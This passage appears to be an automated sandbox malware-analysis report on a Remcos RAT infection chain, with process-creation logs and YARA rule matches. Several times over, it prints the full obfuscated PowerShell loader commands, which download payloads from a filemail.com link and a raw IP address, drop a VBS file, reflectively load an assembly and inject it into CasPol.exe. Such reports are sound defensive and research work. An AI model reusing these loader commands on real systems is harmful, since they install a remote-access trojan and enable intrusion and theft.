Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WiNdowsPowErshELL\V1.0\PoWersHeLl.exe" "POWerSHelL.eXE -Ex bYPAsS -NOp -W 1 -C dEvICeCredEntIaldepLoYmENT ; INVokE-EXpreSSIOn($(iNVOke-eXPResSIon('[systEM.teXt.Encoding]'+[cHAR]58+[CHaR]0X3A+'uTF8.GeTsTring([SySTEM.CoNveRT]'+[CHar]58+[cHar]0X3a+'frombASe64StRing('+[chAr]34+'JDV0ZiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkZC10eXBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tZW1CZXJEZWZJbklUaW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxNT24uZExMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBUY2tWTGosc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFZJVixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRVhsblBKcnBOUWMsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBiRWp6LEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB5WlZTc0RNZGRPKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJpQXl3bmkiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQU1lU1BhQ2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSXJSeiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQ1dGY6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4yMjAuMjkvNDUvc2VlaGF2aW5nZmFjaW5nYmVzdHRoaWduc3RvZ2V0bWViYWNrd2l0aGVudGlyZXRpbWVncmVhdC50SUYiLCIkRU5WOkFQUERBVEFcc2VlaGF2aW5nZmFjaW5nYmVzdHRoaWduc3RvZ2V0bWViYWNrd2l0aGVudGlyZXRpbWVncmUudmJTIiwwLDApO3N0QXJULXNsRUVwKDMpO0lFWCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVOdjpBUFBEQVRBXHNlZWhhdmluZ2ZhY2luZ2Jlc3R0aGlnbnN0b2dldG1lYmFja3dpdGhlbnRpcmV0aW1lZ3JlLnZiUyI='+[chaR]34+'))')))"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex bYPAsS -NOp -W 1 -C dEvICeCredEntIaldepLoYmENT
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiAoICR2ZXJCb1NlcHJFRmVyZU5DZS5UT3N0ckluRygpWzEsM10rJ1gnLUpPaU4nJykoKCdvcGlpbWFnZVVybCA9IGlmZGh0dHBzOi8vMTAxNy5maWxlbWFpbC5jb20vYXBpL2ZpbGUvZ2V0P2ZpbGVrZXk9MkFhX2JXbzlSZXU0JysnNXQ3QlUxa1Znc2Q5cFQ5cGdTU2x2U3RHcm5USUNmRmgnKydtVEtqM0xDNlNRdEljT2NfVDM1dyZwa192aWQ9JysnZmQ0ZjYxNGJiMjA5YzYyYzE3MzA5NDUxNzZhMDkwNGYgaWZkO29waXdlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7b3BpaW1hZ2VCeXRlcyA9IG9waXdlYkNsaWVudC5Eb3dubG9hZERhdGEob3BpaW1hZ2VVcmwpO29waWltYWdlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKG8nKydwaWltYWdlQnl0ZXMpO29waXN0YXJ0RmxhZyA9IGlmZDw8QkFTRTY0X1NUQVJUPj5pZmQ7b3BpZW5kRmxhZyA9IGlmZDw8QkFTRTY0X0VORD4+aWZkO29waXN0YXJ0SW5kZXggPSBvcGlpbWFnZVRleHQuSW5kZXhPZihvJysncGlzJysndGFydEZsYWcpO29waWVuZEluZGV4ID0gb3BpaW1hZ2VUZXh0LkluZGV4T2Yob3BpZW5kRmxhZyk7b3Bpc3RhcnRJbmRleCAtJysnZ2UgMCAtYW5kIG9waWVuZEluZGV4IC1ndCBvcGlzdGFydEluZGUnKyd4O29waXN0YXJ0SW5kZXggKz0gb3Bpc3RhcnRGbGFnLkxlbmd0aDtvcCcrJ2liYXNlNjRMZW5ndGggPSBvcGllbmRJbmRleCAtIG9waXN0YXJ0SW5kZXg7b3BpYmFzZTY0Q29tbWFuZCA9IG9waWltYWdlVGV4dC5TdWJzdCcrJ3Jpbmcob3Bpc3RhcnQnKydJbmRleCwgb3BpYmFzZTY0TGVuZ3RoKTtvcGliYXNlNjRSZXZlcnNlZCA9IC1qbycrJ2luIChvcGliYXNlNjRDb21tYW5kLlRvQ2hhckFycmF5KCkgMFEnKydsIEZvckVhY2gtT2JqZWN0IHsgb3BpXyB9KVsnKyctMS4uLShvcGliYXNlNjRDb21tYW5kLkxlbmd0aCldO29waWNvbW1hbmRCeXRlcyA9IFtTeScrJ3N0ZW0uQ29udicrJ2UnKydydF06OkZyb21CYXNlJysnNjRTdHJpbmcob3BpYmFzZTY0UmV2ZXJzZWQpO29waWxvYWRlZEFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW8nKyduLkFzc2VtYmx5XTo6TG9hZChvcGljb21tYW5kQnl0ZXMpO29waXZhaU1ldGhvZCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoaWYnKydkVkFJaWZkJysnKTtvcGl2YWlNZXRob2QuSW52b2tlKG9waW51bGwsIEAoaWZkdHh0LkdERFJESC81NC85Mi4nKycwMjIuMy4yOTEvLzpwdHRoaWZkLCBpZmRkZXNhdGl2YWRvaWZkLCBpZmRkZXNhdGl2YWRvaWZkLCBpZmRkZXNhdGl2YWRvaWZkLCBpZmRDYXNQb2xpZmQsIGlmZGRlc2F0aXYnKydhZG8nKydpZmQsIGlmZGRlc2F0JysnaXZhZG9pZmQsaWZkZGVzYXRpdmFkb2lmZCxpZmRkZXNhdGl2YWRvaWZkLGlmZGRlc2F0aXZhZG9pZmQsaWZkZGVzYXRpdmFkb2lmZCxpZmRkZXNhdCcrJ2l2YWRvaWZkLGlmZDFpZmQsaWZkZGVzYXRpdmFkb2lmJysnZCkpOycpLnJlUExBQ2UoJzBRbCcsW1N0cmluR11bQ2hBcl0xMjQpLnJlUExBQ2UoJ2lmZCcsW1N0cmluR11bQ2hBcl0zOSkucmVQTEFDZSgoW0NoQXJdMTExK1tDaEFyXTExMitbQ2hBcl0xMDUpLCckJykp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "& ( $verBoSeprEFereNCe.TOstrInG()[1,3]+'X'-JOiN'')(('opiimageUrl = ifdhttps://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu4'+'5t7BU1kVgsd9pT9pgSSlvStGrnTICfFh'+'mTKj3LC6SQtIcOc_T35w&pk_vid='+'fd4f614bb209c62c1730945176a0904f ifd;opiwebClient = New-Object System.Net.WebClient;opiimageBytes = opiwebClient.DownloadData(opiimageUrl);opiimageText = [System.Text.Encoding]::UTF8.GetString(o'+'piimageBytes);opistartFlag = ifd<<BASE64_START>>ifd;opiendFlag = ifd<<BASE64_END>>ifd;opistartIndex = opiimageText.IndexOf(o'+'pis'+'tartFlag);opiendIndex = opiimageText.IndexOf(opiendFlag);opistartIndex -'+'ge 0 -and opiendIndex -gt opistartInde'+'x;opistartIndex += opistartFlag.Length;op'+'ibase64Length = opiendIndex - opistartIndex;opibase64Command = opiimageText.Subst'+'ring(opistart'+'Index, opibase64Length);opibase64Reversed = -jo'+'in (opibase64Command.ToCharArray() 0Q'+'l ForEach-Object { opi_ })['+'-1..-(opibase64Command.Length)];opicommandBytes = [Sy'+'stem.Conv'+'e'+'rt]::FromBase'+'64String(opibase64Reversed);opiloadedAssembly = [System.Reflectio'+'n.Assembly]::Load(opicommandBytes);opivaiMethod = [dnlib.IO.Home].GetMethod(if'+'dVAIifd'+');opivaiMethod.Invoke(opinull, @(ifdtxt.GDDRDH/54/92.'+'022.3.291//:ptthifd, ifddesativadoifd, ifddesativadoifd, ifddesativadoifd, ifdCasPolifd, ifddesativ'+'ado'+'ifd, ifddesat'+'ivadoifd,ifddesativadoifd,ifddesativadoifd,ifddesativadoifd,ifddesativadoifd,ifddesat'+'ivadoifd,ifd1ifd,ifddesativadoif'+'d));').rePLACe('0Ql',[StrinG][ChAr]124).rePLACe('ifd',[StrinG][ChAr]39).rePLACe(([ChAr]111+[ChAr]112+[ChAr]105),'$'))"
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WiNdowsPowErshELL\V1.0\PoWersHeLl.exe" "POWerSHelL.eXE -Ex bYPAsS -NOp -W 1 -C dEvICeCredEntIaldepLoYmENT ; INVokE-EXpreSSIOn($(iNVOke-eXPResSIon('[systEM.teXt.Encoding]'+[cHAR]58+[CHaR]0X3A+'uTF8.GeTsTring([SySTEM.CoNveRT]'+[CHar]58+[cHar]0X3a+'frombASe64StRing('+[chAr]34+'JDV0ZiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkZC10eXBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tZW1CZXJEZWZJbklUaW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxNT24uZExMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBUY2tWTGosc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFZJVixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRVhsblBKcnBOUWMsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBiRWp6LEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB5WlZTc0RNZGRPKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJpQXl3bmkiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQU1lU1BhQ2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSXJSeiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQ1dGY6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4yMjAuMjkvNDUvc2VlaGF2aW5nZmFjaW5nYmVzdHRoaWduc3RvZ2V0bWViYWNrd2l0aGVudGlyZXRpbWVncmVhdC50SUYiLCIkRU5WOkFQUERBVEFcc2VlaGF2aW5nZmFjaW5nYmVzdHRoaWduc3RvZ2V0bWViYWNrd2l0aGVudGlyZXRpbWVncmUudmJTIiwwLDApO3N0QXJULXNsRUVwKDMpO0lFWCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVOdjpBUFBEQVRBXHNlZWhhdmluZ2ZhY2luZ2Jlc3R0aGlnbnN0b2dldG1lYmFja3dpdGhlbnRpcmV0aW1lZ3JlLnZiUyI='+[chaR]34+'))')))"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex bYPAsS -NOp -W 1 -C dEvICeCredEntIaldepLoYmENT	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiAoICR2ZXJCb1NlcHJFRmVyZU5DZS5UT3N0ckluRygpWzEsM10rJ1gnLUpPaU4nJykoKCdvcGlpbWFnZVVybCA9IGlmZGh0dHBzOi8vMTAxNy5maWxlbWFpbC5jb20vYXBpL2ZpbGUvZ2V0P2ZpbGVrZXk9MkFhX2JXbzlSZXU0JysnNXQ3QlUxa1Znc2Q5cFQ5cGdTU2x2U3RHcm5USUNmRmgnKydtVEtqM0xDNlNRdEljT2NfVDM1dyZwa192aWQ9JysnZmQ0ZjYxNGJiMjA5YzYyYzE3MzA5NDUxNzZhMDkwNGYgaWZkO29waXdlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7b3BpaW1hZ2VCeXRlcyA9IG9waXdlYkNsaWVudC5Eb3dubG9hZERhdGEob3BpaW1hZ2VVcmwpO29waWltYWdlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKG8nKydwaWltYWdlQnl0ZXMpO29waXN0YXJ0RmxhZyA9IGlmZDw8QkFTRTY0X1NUQVJUPj5pZmQ7b3BpZW5kRmxhZyA9IGlmZDw8QkFTRTY0X0VORD4+aWZkO29waXN0YXJ0SW5kZXggPSBvcGlpbWFnZVRleHQuSW5kZXhPZihvJysncGlzJysndGFydEZsYWcpO29waWVuZEluZGV4ID0gb3BpaW1hZ2VUZXh0LkluZGV4T2Yob3BpZW5kRmxhZyk7b3Bpc3RhcnRJbmRleCAtJysnZ2UgMCAtYW5kIG9waWVuZEluZGV4IC1ndCBvcGlzdGFydEluZGUnKyd4O29waXN0YXJ0SW5kZXggKz0gb3Bpc3RhcnRGbGFnLkxlbmd0aDtvcCcrJ2liYXNlNjRMZW5ndGggPSBvcGllbmRJbmRleCAtIG9waXN0YXJ0SW5kZXg7b3BpYmFzZTY0Q29tbWFuZCA9IG9waWltYWdlVGV4dC5TdWJzdCcrJ3Jpbmcob3Bpc3RhcnQnKydJbmRleCwgb3BpYmFzZTY0TGVuZ3RoKTtvcGliYXNlNjRSZXZlcnNlZCA9IC1qbycrJ2luIChvcGliYXNlNjRDb21tYW5kLlRvQ2hhckFycmF5KCkgMFEnKydsIEZvckVhY2gtT2JqZWN0IHsgb3BpXyB9KVsnKyctMS4uLShvcGliYXNlNjRDb21tYW5kLkxlbmd0aCldO29waWNvbW1hbmRCeXRlcyA9IFtTeScrJ3N0ZW0uQ29udicrJ2UnKydydF06OkZyb21CYXNlJysnNjRTdHJpbmcob3BpYmFzZTY0UmV2ZXJzZWQpO29waWxvYWRlZEFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW8nKyduLkFzc2VtYmx5XTo6TG9hZChvcGljb21tYW5kQnl0ZXMpO29waXZhaU1ldGhvZCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoaWYnKydkVkFJaWZkJysnKTtvcGl2YWlNZXRob2QuSW52b2tlKG9waW51bGwsIEAoaWZkdHh0LkdERFJESC81NC85Mi4nKycwMjIuMy4yOTEvLzpwdHRoaWZkLCBpZmRkZXNhdGl2YWRvaWZkLCBpZmRkZXNhdGl2YWRvaWZkLCBpZmRkZXNhdGl2YWRvaWZkLCBpZmRDYXNQb2xpZmQsIGlmZGRlc2F0aXYnKydhZG8nKydpZmQsIGlmZGRlc2F0JysnaXZhZG9pZmQsaWZkZGVzYXRpdmFkb2lmZCxpZmRkZXNhdGl2YWRvaWZkLGlmZGRlc2F0aXZhZG9pZmQsaWZkZGVzYXRpdmFkb2lmZCxpZmRkZXNhdCcrJ2l2YWRvaWZkLGlmZDFpZmQsaWZkZGVzYXRpdmFkb2lmJysnZCkpOycpLnJlUExBQ2UoJzBRbCcsW1N0cmluR11bQ2hBcl0xMjQpLnJlUExBQ2UoJ2lmZCcsW1N0cmluR11bQ2hBcl0zOSkucmVQTEFDZSgoW0NoQXJdMTExK1tDaEFyXTExMitbQ2hBcl0xMDUpLCckJykp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "& ( $verBoSeprEFereNCe.TOstrInG()[1,3]+'X'-JOiN'')(('opiimageUrl = ifdhttps://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu4'+'5t7BU1kVgsd9pT9pgSSlvStGrnTICfFh'+'mTKj3LC6SQtIcOc_T35w&pk_vid='+'fd4f614bb209c62c1730945176a0904f ifd;opiwebClient = New-Object System.Net.WebClient;opiimageBytes = opiwebClient.DownloadData(opiimageUrl);opiimageText = [System.Text.Encoding]::UTF8.GetString(o'+'piimageBytes);opistartFlag = ifd<<BASE64_START>>ifd;opiendFlag = ifd<<BASE64_END>>ifd;opistartIndex = opiimageText.IndexOf(o'+'pis'+'tartFlag);opiendIndex = opiimageText.IndexOf(opiendFlag);opistartIndex -'+'ge 0 -and opiendIndex -gt opistartInde'+'x;opistartIndex += opistartFlag.Length;op'+'ibase64Length = opiendIndex - opistartIndex;opibase64Command = opiimageText.Subst'+'ring(opistart'+'Index, opibase64Length);opibase64Reversed = -jo'+'in (opibase64Command.ToCharArray() 0Q'+'l ForEach-Object { opi_ })['+'-1..-(opibase64Command.Length)];opicommandBytes = [Sy'+'stem.Conv'+'e'+'rt]::FromBase'+'64String(opibase64Reversed);opiloadedAssembly = [System.Reflectio'+'n.Assembly]::Load(opicommandBytes);opivaiMethod = [dnlib.IO.Home].GetMethod(if'+'dVAIifd'+');opivaiMethod.Invoke(opinull, @(ifdtxt.GDDRDH/54/92.'+'022.3.291//:ptthifd, ifddesativadoifd, ifddesativadoifd, ifddesativadoifd, ifdCasPolifd, ifddesativ'+'ado'+'ifd, ifddesat'+'ivadoifd,ifddesativadoifd,ifddesativadoifd,ifddesativadoifd,ifddesativadoifd,ifddesat'+'ivadoifd,ifd1ifd,ifddesativadoif'+'d));').rePLACe('0Ql',[StrinG][ChAr]124).rePLACe('ifd',[StrinG][ChAr]39).rePLACe(([ChAr]111+[ChAr]112+[ChAr]105),'$'))"	Jump to behavior

Malicious sample detected (through community Yara rule)

Source: 16.2.powershell.exe.93565d0.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 16.2.powershell.exe.93565d0.0.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 16.2.powershell.exe.93565d0.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 16.2.powershell.exe.93565d0.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 16.2.powershell.exe.93565d0.0.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 16.2.powershell.exe.93565d0.0.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 18.2.CasPol.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 18.2.CasPol.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 18.2.CasPol.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 18.2.CasPol.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 18.2.CasPol.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 18.2.CasPol.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 00000012.00000002.3680666998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 00000012.00000002.3680666998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 00000012.00000002.3680666998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 00000010.00000002.1721296304.0000000009356000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 00000010.00000002.1672099112.0000000005CC9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: Process Memory Space: powershell.exe PID: 7604, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 7724, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: Process Memory Space: powershell.exe PID: 7724, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: CasPol.exe PID: 8052, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\SysWOW64\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiAoICR2ZXJCb1NlcHJFRmVyZU5DZS5UT3N0ckluRygpWzEsM10rJ1gnLUpPaU4nJykoKCdvcGlpbWFnZVVybCA9IGlmZGh0dHBzOi8vMTAxNy5maWxlbWFpbC5jb20vYXBpL2ZpbGUvZ2V0P2ZpbGVrZXk9MkFhX2JXbzlSZXU0JysnNXQ3QlUxa1Znc2Q5cFQ5cGdTU2x2U3RHcm5USUNmRmgnKydtVEtqM0xDNlNRdEljT2NfVDM1dyZwa192aWQ9JysnZmQ0ZjYxNGJiMjA5YzYyYzE3MzA5NDUxNzZhMDkwNGYgaWZkO29waXdlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7b3BpaW1hZ2VCeXRlcyA9IG9waXdlYkNsaWVudC5Eb3dubG9hZERhdGEob3BpaW1hZ2VVcmwpO29waWltYWdlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKG8nKydwaWltYWdlQnl0ZXMpO29waXN0YXJ0RmxhZyA9IGlmZDw8QkFTRTY0X1NUQVJUPj5pZmQ7b3BpZW5kRmxhZyA9IGlmZDw8QkFTRTY0X0VORD4+aWZkO29waXN0YXJ0SW5kZXggPSBvcGlpbWFnZVRleHQuSW5kZXhPZihvJysncGlzJysndGFydEZsYWcpO29waWVuZEluZGV4ID0gb3BpaW1hZ2VUZXh0LkluZGV4T2Yob3BpZW5kRmxhZyk7b3Bpc3RhcnRJbmRleCAtJysnZ2UgMCAtYW5kIG9waWVuZEluZGV4IC1ndCBvcGlzdGFydEluZGUnKyd4O29waXN0YXJ0SW5kZXggKz0gb3Bpc3RhcnRGbGFnLkxlbmd0aDtvcCcrJ2liYXNlNjRMZW5ndGggPSBvcGllbmRJbmRleCAtIG9waXN0YXJ0SW5kZXg7b3BpYmFzZTY0Q29tbWFuZCA9IG9waWltYWdlVGV4dC5TdWJzdCcrJ3Jpbmcob3Bpc3RhcnQnKydJbmRleCwgb3BpYmFzZTY0TGVuZ3RoKTtvcGliYXNlNjRSZXZlcnNlZCA9IC1qbycrJ2luIChvcGliYXNlNjRDb21tYW5kLlRvQ2hhckFycmF5KCkgMFEnKydsIEZvckVhY2gtT2JqZWN0IHsgb3BpXyB9KVsnKyctMS4uLShvcGliYXNlNjRDb21tYW5kLkxlbmd0aCldO29waWNvbW1hbmRCeXRlcyA9IFtTeScrJ3N0ZW0uQ29udicrJ2UnKydydF06OkZyb21CYXNlJysnNjRTdHJpbmcob3BpYmFzZTY0UmV2ZXJzZWQpO29waWxvYWRlZEFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW8nKyduLkFzc2VtYmx5XTo6TG9hZChvcGljb21tYW5kQnl0ZXMpO29waXZhaU1ldGhvZCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoaWYnKydkVkFJaWZkJysnKTtvcGl2YWlNZXRob2QuSW52b2tlKG9waW51bGwsIEAoaWZkdHh0LkdERFJESC81NC85Mi4nKycwMjIuMy4yOTEvLzpwdHRoaWZkLCBpZmRkZXNhdGl2YWRvaWZkLCBpZmRkZXNhdGl2YWRvaWZkLCBpZmRkZXNhdGl2YWRvaWZkLCBpZmRDYXNQb2xpZmQsIGlmZGRlc2F0aXYnKydhZG8nKydpZmQsIGlmZGRlc2F0JysnaXZhZG9pZmQsaWZkZGVzYXRpdmFkb2lmZCxpZmRkZXNhdGl2YWRvaWZkLGlmZGRlc2F0aXZhZG9pZmQsaWZkZGVzYXRpdmFkb2lmZCxpZmRkZXNhdCcrJ2l2YWRvaWZkLGlmZDFpZmQsaWZkZGVzYXRpdmFkb2lmJysnZCkpOycpLnJlUExBQ2UoJzBRbCcsW1N0cmluR11bQ2hBcl0xMjQpLnJlUExBQ2UoJ2lmZCcsW1N0cmluR11bQ2hBcl0zOSkucmVQTEFDZSgoW0NoQXJdMTExK1tDaEFyXTExMitbQ2hBcl0xMDUpLCckJykp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiAoICR2ZXJCb1NlcHJFRmVyZU5DZS5UT3N0ckluRygpWzEsM10rJ1gnLUpPaU4nJykoKCdvcGlpbWFnZVVybCA9IGlmZGh0dHBzOi8vMTAxNy5maWxlbWFpbC5jb20vYXBpL2ZpbGUvZ2V0P2ZpbGVrZXk9MkFhX2JXbzlSZXU0JysnNXQ3QlUxa1Znc2Q5cFQ5cGdTU2x2U3RHcm5USUNmRmgnKydtVEtqM0xDNlNRdEljT2NfVDM1dyZwa192aWQ9JysnZmQ0ZjYxNGJiMjA5YzYyYzE3MzA5NDUxNzZhMDkwNGYgaWZkO29waXdlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7b3BpaW1hZ2VCeXRlcyA9IG9waXdlYkNsaWVudC5Eb3dubG9hZERhdGEob3BpaW1hZ2VVcmwpO29waWltYWdlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKG8nKydwaWltYWdlQnl0ZXMpO29waXN0YXJ0RmxhZyA9IGlmZDw8QkFTRTY0X1NUQVJUPj5pZmQ7b3BpZW5kRmxhZyA9IGlmZDw8QkFTRTY0X0VORD4+aWZkO29waXN0YXJ0SW5kZXggPSBvcGlpbWFnZVRleHQuSW5kZXhPZihvJysncGlzJysndGFydEZsYWcpO29waWVuZEluZGV4ID0gb3BpaW1hZ2VUZXh0LkluZGV4T2Yob3BpZW5kRmxhZyk7b3Bpc3RhcnRJbmRleCAtJysnZ2UgMCAtYW5